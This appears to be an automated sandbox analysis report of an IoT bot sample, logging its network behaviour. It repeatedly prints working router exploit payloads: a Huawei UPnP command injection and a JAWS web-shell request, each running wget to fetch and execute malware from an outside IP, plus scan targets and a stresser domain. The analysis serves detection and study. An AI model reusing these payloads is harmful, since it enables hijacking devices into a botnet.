6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/arm7.elf (PID: 5509)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 87.48.49.106
Source: unknown	TCP traffic detected without corresponding DNS query: 51.53.207.15
Source: unknown	TCP traffic detected without corresponding DNS query: 186.8.211.15
Source: unknown	TCP traffic detected without corresponding DNS query: 9.202.69.13
Source: unknown	TCP traffic detected without corresponding DNS query: 154.114.144.96
Source: unknown	TCP traffic detected without corresponding DNS query: 117.128.229.253
Source: unknown	TCP traffic detected without corresponding DNS query: 155.132.98.2
Source: unknown	TCP traffic detected without corresponding DNS query: 126.55.76.63
Source: unknown	TCP traffic detected without corresponding DNS query: 125.94.217.102
Source: unknown	TCP traffic detected without corresponding DNS query: 48.236.173.80
Source: unknown	TCP traffic detected without corresponding DNS query: 149.153.42.110
Source: unknown	TCP traffic detected without corresponding DNS query: 156.0.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 39.175.61.253
Source: unknown	TCP traffic detected without corresponding DNS query: 199.225.194.240
Source: unknown	TCP traffic detected without corresponding DNS query: 169.96.200.47
Source: unknown	TCP traffic detected without corresponding DNS query: 148.36.60.149
Source: unknown	TCP traffic detected without corresponding DNS query: 47.238.164.251
Source: unknown	TCP traffic detected without corresponding DNS query: 220.122.134.60
Source: unknown	TCP traffic detected without corresponding DNS query: 142.226.34.85
Source: unknown	TCP traffic detected without corresponding DNS query: 105.206.126.176
Source: unknown	TCP traffic detected without corresponding DNS query: 78.150.13.14
Source: unknown	TCP traffic detected without corresponding DNS query: 138.47.150.39
Source: unknown	TCP traffic detected without corresponding DNS query: 165.4.135.131
Source: unknown	TCP traffic detected without corresponding DNS query: 190.133.109.88
Source: unknown	TCP traffic detected without corresponding DNS query: 38.218.214.231
Source: unknown	TCP traffic detected without corresponding DNS query: 95.181.6.218
Source: unknown	TCP traffic detected without corresponding DNS query: 172.52.4.28
Source: unknown	TCP traffic detected without corresponding DNS query: 186.166.141.222
Source: unknown	TCP traffic detected without corresponding DNS query: 80.236.139.3
Source: unknown	TCP traffic detected without corresponding DNS query: 132.52.202.8
Source: unknown	TCP traffic detected without corresponding DNS query: 145.113.163.96
Source: unknown	TCP traffic detected without corresponding DNS query: 83.140.22.214
Source: unknown	TCP traffic detected without corresponding DNS query: 217.249.188.52
Source: unknown	TCP traffic detected without corresponding DNS query: 220.194.120.56
Source: unknown	TCP traffic detected without corresponding DNS query: 200.111.142.216
Source: unknown	TCP traffic detected without corresponding DNS query: 71.239.67.47
Source: unknown	TCP traffic detected without corresponding DNS query: 213.9.40.171
Source: unknown	TCP traffic detected without corresponding DNS query: 221.138.160.43
Source: unknown	TCP traffic detected without corresponding DNS query: 153.230.147.118
Source: unknown	TCP traffic detected without corresponding DNS query: 67.8.243.39
Source: unknown	TCP traffic detected without corresponding DNS query: 99.25.9.150
Source: unknown	TCP traffic detected without corresponding DNS query: 163.232.225.104
Source: unknown	TCP traffic detected without corresponding DNS query: 65.55.78.162
Source: unknown	TCP traffic detected without corresponding DNS query: 219.129.190.37
Source: unknown	TCP traffic detected without corresponding DNS query: 180.83.149.152
Source: unknown	TCP traffic detected without corresponding DNS query: 168.163.196.193
Source: unknown	TCP traffic detected without corresponding DNS query: 187.70.199.77
Source: unknown	TCP traffic detected without corresponding DNS query: 199.131.63.189
Source: unknown	TCP traffic detected without corresponding DNS query: 155.181.75.199
Source: unknown	TCP traffic detected without corresponding DNS query: 17.186.67.74

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
